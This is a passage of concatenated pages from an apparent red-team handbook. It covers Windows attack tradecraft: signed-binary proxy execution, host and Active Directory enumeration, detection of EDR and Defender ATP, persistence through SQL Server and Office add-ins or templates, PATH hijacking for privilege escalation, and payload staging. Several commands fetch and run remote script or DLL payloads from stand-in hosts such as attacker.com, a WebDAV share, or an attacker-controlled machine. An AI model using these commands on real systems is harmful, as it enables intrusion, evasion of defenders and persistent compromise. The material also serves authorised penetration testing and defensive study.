payload.xml" \`\`\` RunDll32 \`\`\` rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication";o=GetObject("script:http://attacker.com/payload.txt");window.close(); rundll32.exe javascript:"..\\mshtml,RunHTMLApplication ";document.write();GetObject("script:https\[:\]//www\[.\]example\[.\]com/malicious.sct")" rundll32 \\\\webdavserver\\folder\\payload.dll,entrypoint rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); \`\`\` obcdconf(dll renamed to txt) \`\`\` odbcconf /s /a {regsvr \\\\webdavserver\\folder\\payload\_dll.txt} \`\`\` pubprn.vbs \`\`\` cscript /b C:\\Windows\\System32\\Printing\_Admin\_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:http://192.168.2.71/tools/mitre/proxy-script/proxy.sct \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals.md). # Windows Internals - \[Unorganized Notes\](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping.md). # Code Grepping - \[PHP Cheatsheet\](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping/php-cheatsheet.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/situational-awareness.md). # Situational Awareness Here's a checklist of what you should check for: \`\`\` • 2FA methods • Certificates • Open ports • Installed services • COM objects • Named pipes • Scheduled tasks • Mapped drives • System PATH • Installed drivers • LSASS protected mode • LLMNR/NBT-NS • WDigest provider • NTLMv1 status • SMB Signing • PowerShell logging • Logon limitations • LLMNR/NBT-NS status • RID 500 account status • FilterAdministratorToken • UAC configuration • SysMon \`\`\` Find powershell engines \`\`\` reg query HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowershellEngine /v PowershellVersion reg query HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowershellEngine /v PowershellVersion \`\`\` powershell logging \`\`\` reg query HKLM\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging reg query HKLM\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription reg query HKLM\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging \`\`\` CLR versions \`\`\` dir %WINDIR%\\Microsoft.Net\\Framework\\ /s /b | find "System.dll” \[System.IO.File\]::Exists("$env:windir\\Microsoft.Net\\Framework\\v2.0.50727\\System.dll") \[System.IO.File\]::Exists("$env:windir\\Microsoft.Net\\Framework\\v4.0.30319\\System.dll") \`\`\` Check for CLM \`\`\` $ExecutionContext.SessionState.LanguageMode \`\`\` Check Audit Policies \`\`\` auditpol /get /categoryams:\* \`\`\` Check if LSASS is running in PPL \`\`\` reg query HKEY\_LOCAL\_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v RunAsPPL Get-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name "RunAsPPL" \`\`\` applocker policies \`\`\` Get-AppLockerPolicy -Local).RuleCollections Get-ChildItem -Path HKLM:Software\\Policies\\Microsoft\\Windows\\SrpV2 -Recurse reg query HKEY\_LOCAL\_MACHINE\\Software\\Policies\\Microsoft\\Windows\\SrpV2\\Exe\\ \`\`\` Check for Non-standard MS services/processes: RDP history \`\`\` reg query HKCU\\Software\\Microsoft\\Terminal Server Client\\ \`\`\` Find recently used files \`\`\` %AppData%\\Microsoft\\Windows\\Recent \`\`\` Find running application window titles \`\`\` get-process | where-object {$\_.mainwindowtitle -ne ""} | Select-Object mainwindowtitle \`\`\` Detect Sysmon \`\`\` Get-Process | Where-Object { $\_.ProcessName -eq "Sysmon" } \`\`\` If assembly is .NET or not \`\`\` \[Reflection.AssemblyName\]::GetAssemblyName("C:\\Path\\To\\File.exe") \`\`\` EDR presence: Enumerate general info from com objects: \`\`\` $o = \[activator\]::CreateInstance(\[type\]::GetTypeFromCLSID("093FF999-1EA0-4079-9525-9614C3504B74")) $o | gm $o $o.EnumNetworkDrives() \`\`\` proxy settings \`\`\` netsh winhttp show proxy ping -n 1 wpad \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands.md). # Recon Commands - \[.NET AD Enum commands\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/.net-ad-enum-commands.md) - \[WMIC commands\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands.md) - \[WMI queries from c++\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands/wmi-queries-from-c++.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry.md). # Disabling/Patching Telemetry - \[ETW Bypasses\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses.md) - \[AMSI Bypasses\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/identifying.md). # Identification ## ATP To detect if Windows ATP is running on the machine: \*\*Process\*\* \`MsSense.exe\` \*\*Service\*\* \`\`\` PS C:\\> Get-Service Sense ​C:\\> sc query sense \`\`\` Display Name: \`Windows Defender Advanced Threat Protection Service\` Name: \`Sense\` \*\*Registry\*\* \`HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Advanced Threat Protection\` \*\*File Paths\*\* \`C:\\Program Files\\Windows Defender Advanced Threat Protection\\\` ASR Rules are stored here: \`\`\` HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Policy Manager\\ \`\`\` | Rule name | GUID | File & folder exclusions | Minimum OS supported | | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------- | ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------- | | ​\[Block executable content from email client and webmail\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-executable-content-from-email-client-and-webmail)​ | \`BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550\` | Supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Block all Office applications from creating child processes\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-all-office-applications-from-creating-child-processes)​ | \`D4F940AB-401B-4EFC-AADC-AD5F3C50688A\` | Supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Block Office applications from creating executable content\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-office-applications-from-creating-executable-content)​ | \`3B576869-A4EC-4529-8536-B80A7769E899\` | Supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Block Office applications from injecting code into other processes\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-office-applications-from-injecting-code-into-other-processes)​ | \`75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84\` | Supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Block JavaScript or VBScript from launching downloaded executable content\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-javascript-or-vbscript-from-launching-downloaded-executable-content)​ | \`D3E037E1-3EB8-44C8-A917-57927947596D\` | Not supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Block execution of potentially obfuscated scripts\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-execution-of-potentially-obfuscated-scripts)​ | \`5BEB7EFE-FD9A-4556-801D-275E5FFC04CC\` | Supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Block Win32 API calls from Office macros\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-win32-api-calls-from-office-macros)​ | \`92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B\` | Supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Block executable files from running unless they meet a prevalence, age, or trusted list criterion\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-executable-files-from-running-unless-they-meet-a-prevalence-age-or-trusted-list-criterion)​ | \`01443614-cd74-433a-b99e-2ecdc07bfc25\` | Supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Use advanced protection against ransomware\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#use-advanced-protection-against-ransomware)​ | \`c1db55ab-c21a-4637-bb3f-a12568109d35\` | Supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Block credential stealing from the Windows local security authority subsystem (lsass.exe)\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-credential-stealing-from-the-windows-local-security-authority-subsystem)​ | \`9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2\` | Supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Block process creations originating from PSExec and WMI commands\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-process-creations-originating-from-psexec-and-wmi-commands)​ | \`d1e49aac-8f56-4280-b9ba-993a6d77406c\` | Supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Block untrusted and unsigned processes that run from USB\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-untrusted-and-unsigned-processes-that-run-from-usb)​ | \`b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4\` | Supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Block Office communication application from creating child processes\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-office-communication-application-from-creating-child-processes)​ | \`26190899-1602-49e8-8b27-eb1d0a1ce869\` | Supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Block Adobe Reader from creating child processes\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-adobe-reader-from-creating-child-processes)​ | \`7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c\` | Supported | ​\[Windows 10, version 1709\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater | | ​\[Block persistence through WMI event subscription\](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-persistence-through-wmi-event-subscription)​ | \`e6db77e5-3df2-4cf1-b95a-636979351e5b\` | Not supported | ​\[Windows 10, version 1903\](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1903) (build 18362) or greater | To check if certain rules are enabled or not: \* 0 = Off \* 1 = Block \* 2 = Audit ## ATA Check for ATA admins: \`\`\` Get-CimInstance -ClassName Win32\_Group -Filter "Domain = 'dev' AND Name='Microsoft Advanced Threat Analytics Administrator'" | Get-CimAssociatedInstance -Association Win32\_GroupUser \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection.md). # Code Injection - \[Hooking\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking.md) - \[Detours\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking/detours.md) - \[CreateRemoteThread\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/createremotethread.md) - \[DLL Injection\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/dll-injection.md) - \[APC Queue Code Injection\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/apc-queue-code-injection.md) - \[Early Bird Injection\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/early-bird-injection.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/sql.md). # SQL To get persistence in a SQL database, we can create malicious startup procedures, malicious agent jobs or triggers, modify existing code etc. PowerUpSQL has quite a bit of modules to assist you with this, for example we can use the Get-SQLPersistRegRun function for persistence: \`\`\` Get-SQLPersistRegRun –Verbose –Name Legit –Command "\\\\attacker\_controlled\_machine\\malicious.exe" –Instance "SQLServerName\\InstanceName \`\`\` There are lots of other techniques you could try. Check the documentation for more information --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation.md). # Privilege Escalation - \[Hunting For Passwords\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hunting-for-passwords.md) - \[To System\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system.md) - \[New Service\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/new-service.md) - \[Named Pipe Impersonation\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/named-pipe-impersonation.md) - \[Local Exploits\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/local-exploits.md) - \[AlwaysInstallElevated\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/alwaysinstallelevated.md) - \[Hijacking Execution\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution.md) - \[Environment Variable interception\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/environment-variable-interception.md) - \[DLL Hijacking\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/dll-hijacking.md) - \[Insecure Permissions\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions.md) - \[Missing Services and Tasks\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/missing-services-and-tasks.md) - \[Misconfigured Registry Hives\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/misconfigured-registry-hives.md) - \[Insecure Binary Path\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/insecure-binary-path.md) - \[Unquoted Service Paths\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/unquoted-service-paths.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution.md). # Hijacking Execution - \[Environment Variable interception\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/environment-variable-interception.md) - \[DLL Hijacking\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/dll-hijacking.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/.net-ad-enum-commands.md). # .NET AD Enum commands \`\`\` There are times you don’t have access to the Active Directory PowerShell cmdlets. One of the great things about PowerShell is the ability to use .Net in PowerShell scripts. For more, check out Part 2. Here are some alternatives to using Get-ADForest & Get-Domain: # Get Active Directory Forest Information $ADForestInfo = \[System.DirectoryServices.ActiveDirectory.Forest\]::GetCurrentForest() $ADForestInfo.Name $ADForestInfo.Sites $ADForestInfo.Domains $ADForestInfo.GlobalCatalogs $ADForestInfo.ApplicationPartitions $ADForestInfo.ForestMode $ADForestInfo.RootDomain $ADForestInfo.Schema $ADForestInfo.SchemaRoleOwner $ADForestInfo.NamingRoleOwner # OR \[System.DirectoryServices.ActiveDirectory.Forest\]::GetCurrentForest().Name \[System.DirectoryServices.ActiveDirectory.Forest\]::GetCurrentForest().Sites \[System.DirectoryServices.ActiveDirectory.Forest\]::GetCurrentForest().Domains \[System.DirectoryServices.ActiveDirectory.Forest\]::GetCurrentForest().GlobalCatalogs \[System.DirectoryServices.ActiveDirectory.Forest\]::GetCurrentForest().ApplicationPartitions \[System.DirectoryServices.ActiveDirectory.Forest\]::GetCurrentForest().ForestMode \[System.DirectoryServices.ActiveDirectory.Forest\]::GetCurrentForest().RootDomain \[System.DirectoryServices.ActiveDirectory.Forest\]::GetCurrentForest().Schema \[System.DirectoryServices.ActiveDirectory.Forest\]::GetCurrentForest().SchemaRoleOwner \[System.DirectoryServices.ActiveDirectory.Forest\]::GetCurrentForest().NamingRoleOwner ### # Get Active Directory Domain Information # Target the current (local) computer’s domain: $ADDomainInfo = \[System.DirectoryServices.ActiveDirectory.Domain\]::GetComputerDomain() # Target the current user’s domain: $ADDomainName = \[System.DirectoryServices.ActiveDirectory.Domain\]::GetCurrentDomain() $ADDomainInfo.Forest $ADDomainInfo.DomainControllers $ADDomainInfo.Children $ADDomainInfo.DomainMode $ADDomainInfo.Parent $ADDomainInfo.PdcRoleOwner $ADDomainInfo.RidRoleOwner $ADDomainInfo.DomainControllers # OR \[System.DirectoryServices.ActiveDirectory.Domain\]::GetCurrentDomain().Forest \[System.DirectoryServices.ActiveDirectory.Domain\]::GetCurrentDomain().DomainControllers \[System.DirectoryServices.ActiveDirectory.Domain\]::GetCurrentDomain().Children \[System.DirectoryServices.ActiveDirectory.Domain\]::GetCurrentDomain().DomainMode \[System.DirectoryServices.ActiveDirectory.Domain\]::GetCurrentDomain().Parent \[System.DirectoryServices.ActiveDirectory.Domain\]::GetCurrentDomain().PdcRoleOwner \[System.DirectoryServices.ActiveDirectory.Domain\]::GetCurrentDomain().RidRoleOwner \[System.DirectoryServices.ActiveDirectory.Domain\]::GetCurrentDomain().DomainControllers # Note: Use \[System.DirectoryServices.ActiveDirectory.Domain\]::GetCOMPUTERDomain().Attribute for the local computer’s domain info. # Example: \[System.DirectoryServices.ActiveDirectory.Domain\]::GetCOMPUTERDomain().Forest ### # Get the local computer’s site information: $LocalSiteInfo = \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite() $LocalSiteInfo.Name $LocalSiteInfo.Domains $LocalSiteInfo.Subnets $LocalSiteInfo.Servers $LocalSiteInfo.AdjacentSites $LocalSiteInfo.SiteLinks $LocalSiteInfo.InterSiteTopologyGenerator $LocalSiteInfo.Options $LocalSiteInfo.Location $LocalSiteInfo.BridgeheadServers $LocalSiteInfo.PreferredSmtpBridgeheadServers $LocalSiteInfo.PreferredRpcBridgeheadServers $LocalSiteInfo.IntraSiteReplicationSchedule # OR \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite().Name \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite().Domains \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite().Subnets \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite().Servers \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite().AdjacentSites \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite().SiteLinks \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite().InterSiteTopologyGenerator \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite().Options \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite().Location \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite().BridgeheadServers \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite().PreferredSmtpBridgeheadServers \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite().PreferredRpcBridgeheadServers \[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite\]::GetComputerSite().IntraSiteReplicationSchedule \`\`\` {% embed url="" %} --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/ms-office.md). # MS Office ## Trusted Locations Add-ins that are placed in trusted locations are automatically ran when Office is opened despite any configured security settings like ignoring macros or add-ins from GPO. Add-ins are just DLLs renamed with a WLL extension. You can find trusted locations based on this query, note that you have to change the version to match up with the version of Office installed \`\`\` Get-ChildItem "hkcu:\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\Trusted Locations" \`\`\` This will give you multiple registry key values which are trusted locations. To achieve code execution we have to add a WLL file to these files. You can make a simple DLL shellcode execution and but it in the folder. For example: \`\`\` copy payload.dll %APPDATA%\\Microsoft\\Word Startup\\WordPresistence.wll \`\`\` ## Templates Template macros are similar to add-ins in the fact that they get executed when Word is opened. templates are used to customise Office documents and by default a base template exists under the %APPDATA%\\Microsoft\\Templates\\Normal.dotm path for Word and %APPDATA%\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB for Excel: Depending on the security settings, it may execute without any prompts if it is in a trusted location. To abuse this for persistence, simply modify the template files to execute your payload. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking.md). # Hooking - \[Detours\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking/detours.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/environment-variable-interception.md). # Environment Variable interception The PATH environment variable contains a list of directories which programs rely on to determine the locations of a certain program if the full path to the program is not given. If any directory is listed before the Windows Directory %SystemRoot%\\System32, a program may be placed in the directory to hijack execution flow as that folder will be checked first before System32. For example, if c:\\path precedes %SystemRoot%\\System32, the c:\\path folder will be checked for the certain program before it checks system32. If we placed a program in c:\\path called powershell.exe, the \\ "powershell.exe" in the c:\\path folder will be called instead of the powershell.exe in system32. We need 2 requirements to exploit this: 1. PATH contains a writable folder to the attacker 2. The writable folder is before the folder that contains the legit binary Let's first look at the system wide variables with reg: \`reg query "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment"\` !\[\](/files/-MhA0NhCA8A6oB-aaAHl) As we can see in the above, the document folder precedes the system32 folder. Let's try copying calc renamed to notepad to our documents folder \`copy c:\\windows\\system32\\calc.exe c:\\Users\\front\\Documents\\notepad.exe\` !\[\](/files/-MhA0xd22SbXYxzXbzV5) now lets open up cmd and try to open notepad. As you can see, calc will popup instead. !\[\](/files/-MhA17atJG98jQQDytgk) We can modify this to run our malware which will run our shellcode and start notepad.exe at the same time Because this is a system wide variable, any admin user who tries to run notepad will run calc.exe with elevated privileges which can lead to privilege escalation if we the admin user to run our malware. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/staging-stagers.md). # Staging/Stagers Stagers are used to: keep payload smalls, appear non malicious, and avoid detection. This will keep things nice and simple and will reduce the complexity of our payloads. Here are a list of stages, and their purpose: \*\*STAGE 0\*\* \* Also known as Droppers and Loaders \* Burnable and ready to adapt to new methods \* Used for Initial payload delivery \* Detecting defenses such as security products and application whitelisting \* Used for bypassing such defenses like application whitelisting and amsi \* facilitate transfer into the other stages \*\*STAGE 1\*\* \* This is used for persistence and such \* Used for situational awareness and information gathering \* Will be the long term beacon \* Will usually have robust communication, and will be very stable \*\*STAGE 2\*\* \* This is where the fun starts \* Privilege escalation \* lateral movement \* Network enumeration \* AD attacks and credential access \*\*STAGE 3\*\* \* The exfiltration phase \* Find and extract sensitive data \* encrypt traffic, uses traffic tunneling --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access.md). # Initial Access - \[Tips and Tricks\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tips-and-tricks.md) - \[Tools\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tools.md) - \[Staging/Stagers\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/staging-stagers.md) - \[MS Office\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office.md) - \[Macros\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros.md) - \[Evasion\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion.md) - \[VBA Stomping\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/vba-stomping.md) - \[Revert To Legacy Warning in Excel\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/revert-to-legacy-warning-in-excel.md) - \[Sandbox Evasion\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/sandbox-evasion.md) - \[Info Extraction\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction-1.md) - \[Inline Shapes\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/inline-shapes.md) - \[.MAM Files\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/.mam-files.md) - \[PowerPoint\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/powerpoint.md) - \[ACCDE\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/accde.md) - \[Shellcode Execution\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/shellcode-execution.md) - \[Info Extraction\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction.md) - \[Dechaining Macros\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros.md) - \[Field Abuse\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse.md) - 